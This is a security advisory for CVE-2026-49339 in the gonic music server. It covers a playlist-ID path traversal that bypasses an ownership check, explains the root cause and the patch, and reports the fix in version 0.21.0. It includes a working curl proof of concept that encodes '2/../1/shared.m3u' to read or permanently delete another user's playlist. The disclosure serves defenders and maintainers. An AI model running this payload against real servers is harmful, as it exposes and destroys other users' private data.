CVE-2026-49339: gonic Playlist ID Path Traversal Bypasses Ownership Check
Any logged-in user of the gonic music server can read or delete another user's private playlists by crafting a playlist ID that smuggles directory traversal sequences past the ownership check.
The problem
gonic stores playlists as M3U files under a per-user directory (<basePath>/<userID>/<name>.m3u). The getPlaylist and deletePlaylist endpoints decode the id parameter from base64 and pass the raw string directly to playlist.Store.Read and Store.Delete.
The ownership check extracts a user ID from only the first path segment of the decoded string, using userIDFromPath. Because filepath.Join then resolves .. segments without any containment guard, an attacker can prefix their own user ID, append traversal sequences, and escape basePath entirely.
The check sees the attacker's own ID and passes, while the filesystem resolves to the victim's file.
Proof of concept
A working proof-of-concept for CVE-2026-49339 in go.senan.xyz/gonic, with the exact payload below.
# Attacker is user ID 2, target playlist belongs to user ID 1.
# Raw relative path: "2/../1/shared.m3u"
# base64-URL-encode it, then prefix with "pl-"
RAW='2/../1/shared.m3u'
ID="pl-$(printf '%s' "$RAW" | base64 -w0 | tr '+/' '-_')"
curl -s "http://gonic-host/rest/getPlaylist.view?u=attacker&p=pass&c=poc&v=1.16.1&f=json&id=$ID" \
| python3 -m json.tool
# Response leaks victim playlist name, comment, IsPublic flag, and song list.
# Same technique against deletePlaylist permanently removes the target file:
curl -s "http://gonic-host/rest/deletePlaylist.view?u=attacker&p=pass&c=poc&v=1.16.1&f=json&id=$ID"The root cause is in playlist/playlist.go: Store.Read and Store.Delete both call filepath.Join(s.basePath, relPath) with no check that the result stays under s.basePath. The ownership guard in userIDFromPath reads only strings.Split(path, "/")[0], so a path like 2/../1/shared.m3u satisfies playlist.UserID == attacker.ID while filepath.Join silently resolves the .. and opens the victim's file.
The patch (commit 0824bed) adds a contained() helper that calls filepath.Rel(s.basePath, absPath) and rejects any result that starts with ... This makes path containment a structural precondition for all three store methods (Read, Write, Delete) rather than trusting the first path segment for authorization.
The fix
Upgrade to gonic 0.21.0 (commit 0824bed88f6bbc490ba28bf09d28e5dfeb07b445). The fix adds a contained() guard in playlist/playlist.go that rejects any decoded path whose resolved absolute form escapes s.basePath. No configuration change is needed; the fix is applied automatically on upgrade.
Reported by Vishal Shukla (@shukla304 / @therawdev).
Related research
- high · 8.1CVE-2026-49340CVE-2026-49340: gonic Arbitrary File Write via Path Traversal in createPlaylist
- high · 7.7CVE-2026-54910CVE-2026-54910: FileBrowser Quantum Path Traversal in Subtitle Handler
- high · 8.6CVE-2026-54650CVE-2026-54650: openhole-server Path Traversal via Percent-Encoded URL Segments
- high · 7.6OpenList Authenticated Path Traversal in Batch Rename src_name